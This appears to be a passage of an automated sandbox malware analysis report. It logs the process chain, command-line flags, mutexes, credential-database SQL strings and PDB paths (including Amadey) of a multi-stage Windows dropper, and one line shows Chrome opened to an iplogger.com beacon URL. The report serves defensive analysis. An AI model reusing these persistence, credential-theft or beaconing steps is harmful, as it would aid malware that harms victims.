Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe" --AutoStart
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Process created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe "C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe"
Source: C:\Users\user\AppData\Local\Temp\D900.exe	Process created: C:\Windows\System32\cmd.exe cmd /c tlatest.bat
Source: C:\Users\user\AppData\Local\Temp\D900.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/2Xtsj4
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1904,i,6743762491447438880,8946520613085577941,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1CEF.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Process created: unknown unknown

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\SysWOW64\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\C06.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

11_2_0040D240

Source: softokn3.dll.38.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.38.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.38.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.38.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.38.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.38.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.38.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.38.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: build2.exe, 00000026.00000003.2610466211.000000000E760000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.38.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: build2.exe, 00000026.00000002.2733479304.000000000DDBC000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000026.00000002.2736104365.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.38.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B100E CreateToolhelp32Snapshot,Module32First,

0_2_008B100E

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5104:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3104:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5828:120:WilError_03

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Admin	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsAutoStart	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsTask	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --ForNetRes	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsAutoStart	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsTask	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Task	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --AutoStart	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Service	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: X1P	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Admin	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: runas	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: x2Q	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: x*P	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: C:\Windows\	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: D:\Windows\	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: 7P	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: %username%	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: F:\	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Admin	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsAutoStart	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsTask	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --ForNetRes	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsAutoStart	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: IsTask	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Task	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --AutoStart	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Service	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: X1P	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: --Admin	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: runas	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: x2Q	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: x*P	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: C:\Windows\	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: D:\Windows\	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: 7P	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: %username%	11_2_00419F90
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Command line argument: F:\	11_2_00419F90

Source: C06.exe	String found in binary or memory: set-addPolicy
Source: C06.exe	String found in binary or memory: id-cmc-addExtensions
Source: C06.exe	String found in binary or memory: set-addPolicy
Source: C06.exe	String found in binary or memory: id-cmc-addExtensions
Source: C06.exe	String found in binary or memory: set-addPolicy
Source: C06.exe	String found in binary or memory: id-cmc-addExtensions

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: mozglue.dll.38.dr
Source:	Binary string: wextract.pdb source: D900.exe, 00000025.00000000.2425336156.00007FF77E0D9000.00000002.00000001.01000000.00000011.sdmp, D900.exe, 00000025.00000002.4133205425.00007FF77E0D9000.00000002.00000001.01000000.00000011.sdmp, treelatest.exe, 0000002B.00000000.2437355303.00007FF6FE5C9000.00000002.00000001.01000000.00000012.sdmp, treelatest.exe, 0000002B.00000002.4133788958.00007FF6FE5C9000.00000002.00000001.01000000.00000012.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000002.4134158612.00007FF68DB19000.00000002.00000001.01000000.00000014.sdmp, callcustomerpro.exe, 0000002D.00000000.2445809448.00007FF68DB19000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdb source: 9EB5.exe, 00000021.00000002.2628119160.0000000000C79000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.0000000005999000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\nomadinemoxido\zalejohayaru tuk.pdb source: 9EB5.exe, 00000021.00000001.2393382733.0000000000401000.00000020.00000001.01000000.0000000F.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.38.dr
Source:	Binary string: )C:\dubuhagakele78 curizewihe\cegibedu buwayela.pdb source: file.exe
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.38.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: mozglue.dll.38.dr
Source:	Binary string: protobuf-net.pdb source: callcustomer.exe, 00000031.00000002.2958920684.00000000065A0000.00000004.08000000.00040000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, callcustomer.exe, 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\fn6dDkVwjdxUEjVgcAgSrHv67sxKvSQu\Provide.pdb source: 1CEF.exe, 0000002F.00000000.2455135961.0000000000857000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: C06.exe, C06.exe, 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: symsrv.pdbGCTL source: 9EB5.exe, 00000021.00000002.2628119160.0000000000C79000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.0000000005999000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: A8C:\nomadinemoxido\zalejohayaru tuk.pdb source: 9EB5.exe, 00000021.00000001.2393382733.0000000000401000.00000020.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000002C.00000000.2437540063.0000000000401000.00000020.00000001.01000000.00000013.sdmp, build3.exe, 0000002C.00000002.2599139684.0000000000401000.00000020.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\x64\Release\WinmonProcessMonitor.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: C06.exe, 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000000F.00000002.2302639668.0000000002320000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000012.00000002.2324721970.0000000002400000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 0000001C.00000002.4133525331.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 0000001F.00000002.4133230530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000022.00000002.2441220618.00000000023F0000.00000040.00001000.00020000.00000000.sdmp, C06.exe, 00000029.00000002.2555352471.0000000000400000.00000040.00000400.00020000.00000000.sdmp, C06.exe, 00000032.00000002.2622961191.0000000002340000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.38.dr
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdb source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000002C.00000000.2437540063.0000000000401000.00000020.00000001.01000000.00000013.sdmp, build3.exe, 0000002C.00000002.2599139684.0000000000401000.00000020.00000001.01000000.00000013.sdmp
Source:	Binary string: freebl3.pdb source: build2.exe, 00000026.00000002.2733731045.000000000DED0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Loader.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\fn6dDkVwjdxUEjVgcAgSrHv67sxKvSQu\Provide.pdb* source: 1CEF.exe, 0000002F.00000000.2455135961.0000000000857000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: wextract.pdbGCTL source: D900.exe, 00000025.00000000.2425336156.00007FF77E0D9000.00000002.00000001.01000000.00000011.sdmp, D900.exe, 00000025.00000002.4133205425.00007FF77E0D9000.00000002.00000001.01000000.00000011.sdmp, treelatest.exe, 0000002B.00000000.2437355303.00007FF6FE5C9000.00000002.00000001.01000000.00000012.sdmp, treelatest.exe, 0000002B.00000002.4133788958.00007FF6FE5C9000.00000002.00000001.01000000.00000012.sdmp, treelatest.exe, 0000002B.00000003.2440405515.0000019AB7CDF000.00000004.00000020.00020000.00000000.sdmp, callcustomerpro.exe, 0000002D.00000002.4134158612.00007FF68DB19000.00000002.00000001.01000000.00000014.sdmp, callcustomerpro.exe, 0000002D.00000000.2445809448.00007FF68DB19000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: 9EB5.exe, 00000021.00000002.2642267727.0000000004D21000.00000040.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\mihagebuzafo_tuxolakozeyaj\soniliwutur.pdb source: C06.exe
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb) source: 374E.exe, 00000010.00000000.2281493930.0000000000E39000.00000002.00000001.01000000.0000000A.sdmp, 374E.exe, 00000010.00000002.2289026448.0000000000E39000.00000002.00000001.01000000.0000000A.sdmp, yiueea.exe, 00000011.00000002.4132764902.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp, yiueea.exe, 00000011.00000000.2288110541.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp, yiueea.exe, 0000001E.00000000.2312551495.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp, yiueea.exe, 0000001E.00000002.2313563029.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\tuveterijefol\senojudaza\kiw26\civonasob.pdb source: 6545.exe, 00000020.00000000.2331580792.0000000000401000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\dubuhagakele78 curizewihe\cegibedu buwayela.pdb source: file.exe
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.38.dr
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: SC:\tuveterijefol\senojudaza\kiw26\civonasob.pdb source: 6545.exe, 00000020.00000000.2331580792.0000000000401000.00000020.00000001.01000000.0000000D.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: freebl3.pdbp source: build2.exe, 00000026.00000002.2733731045.000000000DED0000.00000004.00000020.00020000.00000000.sdmp
